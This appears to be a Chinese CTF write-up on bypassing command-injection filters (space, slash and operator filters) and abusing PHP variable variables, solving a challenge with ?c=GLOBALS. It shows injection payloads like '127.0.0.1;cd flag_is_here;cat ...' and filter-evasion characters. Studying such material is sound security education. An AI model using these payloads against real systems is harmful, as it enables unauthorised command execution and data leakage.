Skip to content

过滤绕过

1.过滤空格

image-20250329220612642

题目提示过滤了空格,引入绕过空格过滤的字符:

txt
<
<>
%20				(space)
%09				(tab)
$IFS$9
${IFS}
$IFS

image-20250329221754559

这里就用<来绕过,绕过后flag显示在源码中

image-20250329221901063

2.过滤目录分隔符

image-20250329222239091

题目提示,这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗。

可以使用;cd到目录然后使用cat抓取,也就是用进行命令拼接。例如:x.x.x.x;cd ../;ls;cat xxx

image-20250329222437407

这里先ls查看一下文件,看到flag_is_here

image-20250329222614158

那就是要进入这个文件夹才能拿到flag。拼接命令: 127.0.0.1;cd flag_is_here;ls

image-20250329222725647

看到flag文件,继续拼接命令拿到flag:127.0.0.1;cd flag_is_here;cat flag_8995807313759.php

image-20250329222840185

界面源码拿到flag。

3.过滤运算符

image-20250329222930666

直接打开题目,看到源码/(\||\&)/等字符进行了过滤。过滤运算符可以用:%0a、%0d、%0D、%0A绕过。

image-20250329223042140

开始进行ls测试吧,结果ls就出来了,那这里的过滤就没意义了,直接cat 就出来结果了。

image-20250329223114788

4.变量名绕过(超全局变量)

在 PHP 中,$$ 表示 变量变量(Variable Variables),这是一种特殊的变量处理方式,允许你动态地使用一个变量的值作为另一个变量的名称。以下是详细解释:

(1)关于$$

  • $$a 的含义: 假设 $a 的值是字符串 "b",那么 $$a 实际上等同于 $b(即访问变量 $b)。

  • 示例

    php
    $a = "username";
    $$a = "admin";  // 等价于 $username = "admin";
    
    echo $username; // 输出 "admin"

(2)在题目中的用法

假设 CTF 代码中:

php
<?php
/*

PolarD&N CTF

*/

highlight_file(__file__);
error_reporting(0); 
include "flag.php";

$a=$_GET['c'];
if(isset($_GET['c'])){
    if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
        die("oh on!!!");}
    
    else{
        eval("var_dump($$a);");}}
  • 如果用户传入 ?c=flag,则:

    php
    $a = $_GET['c']; // $a = "flag"
    $$a = $flag;     // 动态访问变量 $flag
    var_dump($$a);   // 输出 $flag 的值

(3)多层变量变量

可以嵌套使用,例如 $$$a

php
$a = "b";
$b = "c";
$c = "Hello";

echo $$$a; // 输出 "Hello" (解析顺序:$$$a → $$b → $c → "Hello")

(4)实际应用场景

  1. 动态变量名

    php
    $type = "user";
    ${$type . "_id"} = 123; // 等价于 $user_id = 123;
  2. 遍历一组变量

    php
    $vars = ["name", "age", "email"];
    foreach ($vars as $var) {
        echo $$var; // 依次输出 $name, $age, $email 的值
    }

(5)安全风险

  • 变量注入:如果用户可控 $a(如 $_GET['c']),攻击者可能通过构造输入访问任意变量(如 $GLOBALS),导致数据泄露或代码执行。

    php
    // 危险示例:用户传入 ?c=GLOBALS
    $$a = $GLOBALS; // 泄露所有全局变量
  • 防御措施

    • 严格过滤用户输入(如题目中的正则过滤)。
    • 避免直接使用用户输入作为变量名。

(6)与 JavaScript 的区别

  • PHP 的 $$ 是语言特性,而 JavaScript 中类似功能需通过 window[variableName] 实现:

    javascript
    let a = "b";
    window[a] = "test"; // 等价于 let b = "test";

(7)总结

$$ 是 PHP 的动态变量特性,用变量的值作为另一个变量的名称。在 CTF 中常用于绕过过滤访问敏感变量(如 $flag),但在实际开发中需谨慎使用以避免安全漏洞。

(8)题目复现

题目:[$$]

  • 题目来源:Polarctf-web-[$$]

image-20250404225359925

  • 解题:

代码审计

php
<?php
/*

PolarD&N CTF

*/

highlight_file(__file__);
error_reporting(0); 
include "flag.php";

$a=$_GET['c'];	# get传参c并赋值给a
if(isset($_GET['c'])){	# 如果传参了c,进行匹配
    if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){	# 过滤了大部分的字符,不允许$a含有
        die("oh on!!!");}
    
    else{
        eval("var_dump($$a);");}}

使用GLOBALS超全局变量

?c=GLOBALS

这会显示所有全局变量,包括$flag

image-20250404230357747

滇ICP备2025057983号-1